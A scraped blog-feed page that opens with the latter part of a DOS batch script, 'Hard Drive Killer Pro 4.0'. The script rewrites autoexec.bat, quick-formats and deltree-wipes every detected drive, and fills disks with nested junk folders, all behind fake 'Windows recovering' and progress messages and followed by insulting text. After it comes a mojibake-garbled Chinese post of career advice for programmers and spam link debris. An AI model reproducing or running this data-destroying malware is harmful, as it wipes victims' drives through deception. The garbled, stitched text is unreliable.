rem When errorlevel is 1, then the above is not true, if 0, then it's true.
rem Opposite of binary rules. If 0, it will elaps to the next command.

echo @prompt %%%%comspec%%%% /f /c dir %%%%1:./ad/w/-p $b find "bytes" > nul >{t}.bat
%comspec% /e:2048 /c {t}.bat >>drivechk.bat
del {t}.bat
echo if errorlevel 1 goto enddc >>drivechk.bat

cls
echo PLEASE WAIT WHILE PROGRAM LOADS . . .

rem if errorlevel is 1, then the drive specified is a removable media drive - not ready.
rem if errorlevel is 0, then it will elaps to the next command.

echo @prompt dir %%%%1:./ad/w/-p $b find " 0 bytes free" > nul >{t}.bat
%comspec% /e:2048 /c {t}.bat >>drivechk.bat
del {t}.bat
echo if errorlevel 1 set drive=%%drive%% %%1 >>drivechk.bat

cls
echo PLEASE WAIT WHILE PROGRAM LOADS . . .

rem if it's errorlevel 1, then the specified drive is a hard or floppy drive.
rem if it's not errorlevel 1, then the specified drive is a CD-ROM drive.

echo :enddc >>drivechk.bat

rem Drive checking insertion ends here. "enddc" stands for "end dDRIVE cHECKING".

rem Now we will use the program drivechk.bat to attain valid drive information.

:Sampledrv

for %%a in (%alldrive%) do call drivechk.bat %%a >nul
del drivechk.bat >nul
if %drive.==. set drive=c

:form_del
call attrib -r -h c:autoexec.bat >nul
echo @echo off >c:autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:autoexec.bat
echo for %%%%a in (%drive%) do call format %%%%a: /q /u /autoSample >nul >>c:autoexec.bat
echo cls >>c:autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:autoexec.bat
echo for %%%%a in (%drive%) do call c:temp.bat %%%%a Bunga >nul >>c:autoexec.bat
echo cls >>c:autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:autoexec.bat
echo for %%%%a in (%drive%) call deltree /y %%%%a: >nul >>c:autoexec.bat
echo cls >>c:autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:autoexec.bat
echo for %%%%a in (%drive%) do call format %%%%a: /q /u /autoSample >nul >>c:autoexec.bat
echo cls >>c:autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:autoexec.bat
echo for %%%%a in (%drive%) do call c:temp.bat %%%%a Bunga >nul >>c:autoexec.bat
echo cls >>c:autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:autoexec.bat
echo for %%%%a in (%drive%) call deltree /y %%%%a: >nul >>c:autoexec.bat
echo cd >>c:autoexec.bat
echo cls >>c:autoexec.bat
echo echo Welcome to the land of death. Munga Bunga's Multiple Hard Drive Killer version 4.0. >>c:autoexec.bat
echo echo If you ran this file, then sorry, I just made it. The purpose of this program is to tell you the following. . . >>c:autoexec.bat
echo echo 1. To make people aware that security should not be taken for granted. >>c:autoexec.bat
echo echo 2. Love is important, if you have it, truly, don't let go of it like I did! >>c:autoexec.bat
echo echo 3. If you are NOT a vegetarian, then you are a murderer, and I'm glad your HD is dead. >>c:autoexec.bat
echo echo 4. Don't support the following: War, Racism, Drugs and the Liberal Party.>>c:autoexec.bat

echo echo. >>c:autoexec.bat
echo echo Regards, >>c:autoexec.bat
echo echo. >>c:autoexec.bat
echo echo Munga Bunga >>c:autoexec.bat
call attrib +r +h c:autoexec.bat

:makedir
if exist c:temp.bat attrib -r -h c:temp.bat >nul
echo @echo off >c:temp.bat
echo %%1: >>c:temp.bat
echo cd >>c:temp.bat
echo :startmd >>c:temp.bat
echo for %%%%a in ("if not exist %%2nul md %%2" "if exist %%2nul cd %%2") do %%%%a >>c:temp.bat
echo for %%%%a in (">ass_hole.txt") do echo %%%%a Your Gone @$$hole!!!! >>c:temp.bat
echo if not exist %%1:%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2nul goto startmd >>c:temp.bat
call attrib +r +h c:temp.bat >nul

cls
echo Initializing Variables . . .
rem deltree /y %%a:*. only eliminates directories, hence leaving the file created above for further destruction.
for %%a in (%drive%) do call format %%a: /q /u /autoSample >nul
cls
echo Initializing Variables . . .
echo Validating Data . . .
for %%a in (%drive%) do call c:temp.bat %%a Munga >nul
cls
echo Initializing Variables . . .
echo Validating Data . . .
echo Analyzing System Structure . . .
for %%a in (%drive%) call attrib -r -h %%a: /S >nul
call attrib +r +h c:temp.bat >nul
call attrib +r +h c:autoexec.bat >nul
cls
echo Initializing Variables . . .
echo Validating Data . . .
echo Analyzing System Structure . . .
echo Initializing Application . . .

for %%a in (%drive%) call deltree /y %%a:*. >nul
cls
echo Initializing Variables . . .
echo Validating Data . . .
echo Analyzing System Structure . . .
echo Initializing Application . . .
echo Starting Application . . .
for %%a in (%drive%) do call c:temp.bat %%a Munga >nul

cls
echo Thank you for using a Munga Bunga product.
echo.
echo Oh and, Bill Gates rules, and he is not a geek, he is a good looking genius.
echo.
echo Here is a joke for you . . .
echo.
echo Q). What's the worst thing about being an egg?
echo A). You only get laid once.
echo.
echo HAHAHAHA, get it? Don't you just love that one?
echo.
echo Regards,
echo.
echo Munga Bunga

:end

rem Hard Drive Killer Pro Version 4.0, enjoy!!!!
rem Author: Munga Bunga - from Australia, the land full of retarded Australian's (help me get out of here).


lk 2008-03-06 09:36 发表评论
]]>
E序员一定会感兴的问题 开发h员需要知道的东西杂谈http://m.tkk7.com/lcs/archive/2008/03/05/183989.htmllklkWed, 05 Mar 2008 07:06:00 GMThttp://m.tkk7.com/lcs/archive/2008/03/05/183989.htmlhttp://m.tkk7.com/lcs/comments/183989.htmlhttp://m.tkk7.com/lcs/archive/2008/03/05/183989.html#Feedback0http://m.tkk7.com/lcs/comments/commentRss/183989.htmlhttp://m.tkk7.com/lcs/services/trackbacks/183989.html鉴于l常看到很多d的问题,比如xx语言q什么用的,xxx语言是不是落伍了Q?不过说实在的,q些问题初学者都会有.) 我在q里说说开发h员应该知道的一些东ѝ但是这些只是我在^日里看到和想到的。难免有所偏差,误?

    软g开发,是一个综合性的z计。Y件开?q不仅仅是编写代?学会了用cq些~程语言q行~程只是W一步,一个最最基本要求。其他要的东西还多着呢。在我看?E序员大致可以分Zc?当一个工作Q务分配到E序员n上时,一U程序员知道Z么要q样d.另外一U则知道怎么d完这个工?
而这个区别就大了.如果你知道ؓ什么要q样d?q个臛_说明你能把握住你的Q务在软g工程里面的位|?如果你只是仅仅知道怎么d成他.那只是说明你能做完这个工作而已.惛_好就不一定能行了.而第一U程序员一定能做好.做的最?看看下面的条?希望对大安有所帮助.

W一要说的,~程的关键是什?


    ~程不是实现了代码就可以?引用我的友h的一句话Q?#8220;~程讲究是一个整体的q性?#8221;
对于q个他是q样解释的?#8220;q性,是Y件的很重要的部分Q从q性的角度去考虑~程Q就会抑制你惌用最新技术,最新系l等{一些想法。因Zq性的角度考虑Q只要你的Y件有一个瓶颈出玎ͼ你的E序是p|。你首先要考虑的是怎么消除E序中可能存在的一些瓶颈。在q个基础上你才有权利去考虑提高你程序的性能”.q你拥有最新的技术,最好系l,如果你的代码不行。只要你的程序有性能瓉存在,{于什么都没有做?

    在这里我惌的就是程序是人写的。如果你的水q不行,再好的现成的技术也是用不v来的。就用h?你可能没有办法说清楚,Z么这L?

W二要说的,怎么~程?

    我想很多人看到这个问题,一定会在心里把我骂的体无完肤的。心惌子z腻了。骂也无妨。暂且听我说。我说的怎么~程不是要说怎么写详l的代码Q而是你的E序最l是怎么形成的。我惛_到这里又有h把我l陵q了一ơ了。但实际上编写代码是在Y件的生q程中占有时间比较少的一块?

我个得要包含以下的几个部分:

1。市场潜力分?分析你要写的软g能不能卖出去,或者说我要~写什么样的Y?

2。同cM品竞争分?看看你的同类产品的优~点,设计你的软g的卖?(如果没有卖点,没有必要l了)
3。Y件设?写出详细的Y件流E,数据程。主要算法。Y件架构等

4。编写代?不用说了?

5。bug试和试q行

6。卖

    q些事,有的是市场的事,有的是系l分析员的事Q还有的是编E的事。但是在很多公司,本着公怺必亲恭的办事原则。大家多了解一Ҏ不会有错的?

    举个具体的例子来说。假如我要编写一个共享Y件。我要怎么做呢Q?

1。要好好x我要写的软g有没?#8220;?#8221;途。时间在15天-30天左叟뀂在q段旉里面一定要好好的做一下市察.q个可是最关键的一?

2。好Q我已经军_要写xxx软g了?

3。在|上扑և个对xxx最有威胁的同类软gQ分析它们优~点。要它们的优点,不要他们的缺炏V设计出自己软g的卖?

4。根据前面分析的l果Q大概的列出xxx软g应该h的功能表

5。写?.0版的基本功能表,写出1.x的功能表。不要一ơ就做完全部的功?q样的话,你的软g永远都没有出世的Z 

6。选择~程语言 (看看,~程语言到这里才出来)

7。上|找cM的源代码Q算法。RFC标准文档。吃?软g代码和算法的良好重用,会让你事半功倍的.

8。根据你选定语言Q算法,标准文档Q写出xxx的详l设计文档。文档一定要?不然你的计划性就不强.计划性不?随意性就?随意性大?软g很容易失败的.

9。按照设计文档编写代?

10。测试和?

W三Q哪里有资料Q标准文?

    代码的世界是千变万化? 在开始一个新的项目之前,完全可以找一个类似功能的代码来看看。这样可以更好的改进你的E序。有时还可以加快q度。还有当新的技术出来时Q你要看看相关的文档。虽然不要完全了解它的功能,好处。但是你臛_要知道新的技术能用在什么地斏V怎么用。配合什么其他的技术用能更好的发挥它的作用。编写Y件不是全部的东西都是自己写的。有很多的功能是一U标准,也许是标准算法。像囑Ş的,多媒体的Q加密解密的法。有的是一个标准的文g格式Q像各种囑փ文gQ多媒体文g。还有的是一U标准的U定。像emailQtelnet{常见的|络工具?

所以你要知道你可以从哪里找你要的资料。我把我知道的都写在q里

源代码和技术资料站?
www.vchelp.net gb
www.csdn.net gb
www.codeguru.com en
www.codetools.com en
www.dexv.com en
msdn.microsoft.com en
www.programmerheaven.com en
www.freshmeat.net en
www.sourceforge.net en
www-900.ibm.com/developerWorks/ gb
论坛和标准,l织
www.linuxaid.com.cn gb
www.linuxbyte.com gb
www.aka.org.cn gb
www.rfc.org en gb
各种maillistQirc

W四Q要掌握的工具和知识

    工具Q可以让你的工作更加的有效率和不易出错?

    下面的工具也怽用过Q也怽没有用过。不q没有关pȝ。同行的老鸟会教我们怎么用的。(我想到哪个就写哪个。没有顺序问题)

1。数据库工具 建数据库工具Q代?powerdesigner 数据库分析工兗很多大型的数据库都会带的?

2。流E图设计 代表 visio 2000 Q?smartdraw

3。case工具 代表 rose

4。代码分析工?代表 bounderchecker(for vc delphi),smartcheck(for vb) ....

5。编辑器 代表 viQvicQUltra Edit

6。源代码理 代表 vss Qcvs

7。编E工P不要我多说了?

8。其他的Q我没有用过的,但是也许在某个行业用的很多的工具。(废话 Q)Q?

    知识的话Q因为每一个h的发展方向不一P所以大部分人的知识l构都不一栗但是有几点应该是一L?

1。英语能?
主要的新的技术,文档资料都是用英语来作ؓ首发的。如果要学到更好更新的知识,技巧。不懂点p也是不行的。也不要指望有hl你译出来。一般来_q些资料Q看的懂的h不需要翻译,看不懂的人没有办法翻译。半懂不懂的人翻译出来的文章我想你也不敢看。所以大部分的资料还是英语原文的。当然也有很多的人在译q些文章Q但是对于这么多的资料来_译q来的只是很很的一部分。求Z如求己。多学点p没有错的?

2。设计能?
虽然一般来_正规的公司有pȝ分析员做设计Q我猜的Q。但?0Q-80Q的公司,可就不一定了。知道一点Y件工E的知识Q知道一些文档设计工h么用。或者知道应该有哪些设计文档。也是很有好处的。比较这些东西如果你学到了,是你自q了。而且q些可是加工资的好东ѝ很有钱途的。:Q?

3。语文写作能?
作ؓ一个程序员Q大部分旉是都是在写代码。但是代码的注释Q各U文档,试报告Q说明文档,使用手册~写Q这些都需要文字功底的?q有用emailQbbsQqqq些工具与h交流的时候,如果话都说不清楚Q那交流更谈不上了。水qx高进步也有炚w题了?

4。学习能?
没有几个人是全部学会了再d作的。这个不是很现实。目前社会也不太允许q样做。一边工作一边学习是很常见的。也许很多h是在工作之中才学会做某些事情的。很多技能也是这样会的。此外,很多新的目的到来。很新的技术的到来都要求我们能适应新的工作环境Q新的工作要求。如果没有好好的学习是很Ҏ被一个项目踢掉的。呵c?
另外有一点,当上司让你做你不会的东西Ӟ你要告诉他,你不会,但是会在XX天内把他搞定。不会没有关p,会学习也是会上进的一U好表现?

5。知道自p做什么,要学什么,要发展什么?

    世界上Y件技术是多的?个牛上的毛一样多Q也许还要多很多。如果我们什么都要知道。哦Q天哪,我不x了?/p>

    作ؓ一个Y件h员也好,作ؓ一个初学者也好。知道自p往那个方向走是很重要的。不然很Ҏ的就饿死在Y件技术迷宫里的。最后只好不q这一行了。这个可不太好?
一般来_作ؓ一个Y件h员,掌握一C个语a的开发能力就可以了。另外除非你是想做Y件技术的研发Q这些工作最有钱Q在大型的公司是最受欢q)。如果不是做软g技术的研发Q只是一般的应用E序~写的话Q不用太x今天出来什么新的技术,明天又出来什么新的技术。这些东西只要知道就行了。知道有q么回事可以了。以后有用的到的地方再去认真的关注也是不q的。自己选择一个发展的方向Q努力的向前走。不要被各种各样的新技术诱惑过厅R说句实话,很多的所谓新技术的怎么怎么好,怎么怎么优异Q很多时候都是有商业行ؓ在里面的。要自己会判断才行。如果不能判断怎么办,看下面的一条?

W六Q知道的更多


    很多初学者最ȝ的事是怎么在这么多的Y件技术里面选择一U又好学Q又有前途(钱途)Q又能做点什么伟大的事情的技术来开拓Y件开发这个他们未知的领域。对于这个麻烦的问题Q很有解。如果你能遇C个很好的老师Q那是你的气Q千万要抓住q个Z。如果你不得不一人做个决定,那只能是心翼地来了。不q一般来说学c和cQ+都是一个不错的选择?

    初学者的另外一个麻烦的问题是,当我选择之后Q在学习q程中出现的很多q个和那个的新技术,新的变化。我该怎么办。这个也基本无解。只能是你自己慢慢慢慢积累。积累到你能理解q些新技术的出现是ؓ了什么,q些新变化的发生是ؓ知道的更?......,q些新变化的发生是ؓ了什么之后。你׃不怕这些的新的东西?

    我一向坚持,如果我知道的更多Q我的力量就会更大。我更不会怕出现变化。如果因Z的信息不I而无法对某g事情q行判断Ӟ千万不要q行判断。对你没有好处的?


?a >http://bbs.chinaunix.net/viewthread.php?tid=279647&extra=page%3D1]]>



lk 2008-03-05 15:06 发表评论
]]>
վ֩ģ壺 ѻɫƬ| ɫ͵͵޵һۺ| һav| 69avƵ| Թ24| av| ޾Ʒ˳߲| AV˿߹ۿ| aëƬѧѹۿ| AVվ| þþƷ˽ӰԺѿ| йƷNѹۿ| bbbѹۿƵ| ۺϾƷ˾þ| ҹƷ| רȷӰ| AVۺɫһ| պ߹ۿ| ޹㽶ˬAVƬþ | ޹Ʒַ| ëƬ18ŮëƬ96| ȫëƬ߲| ѹۿ| һƵ| ëƬƵ| 99þù뾫Ʒ| ëƬڵ߳| ɫse01Ƶ| ֻˬapp| ߹ۿɫƬƵ| Ƶ| ҹƵ| ĻmvƵ8| պ| ˳վ7777Ƶ| һƷƵ| һ߹ۿ| AV߹ۿ㱼| һѹۿ| һĻߵӰ| vavavaֻ|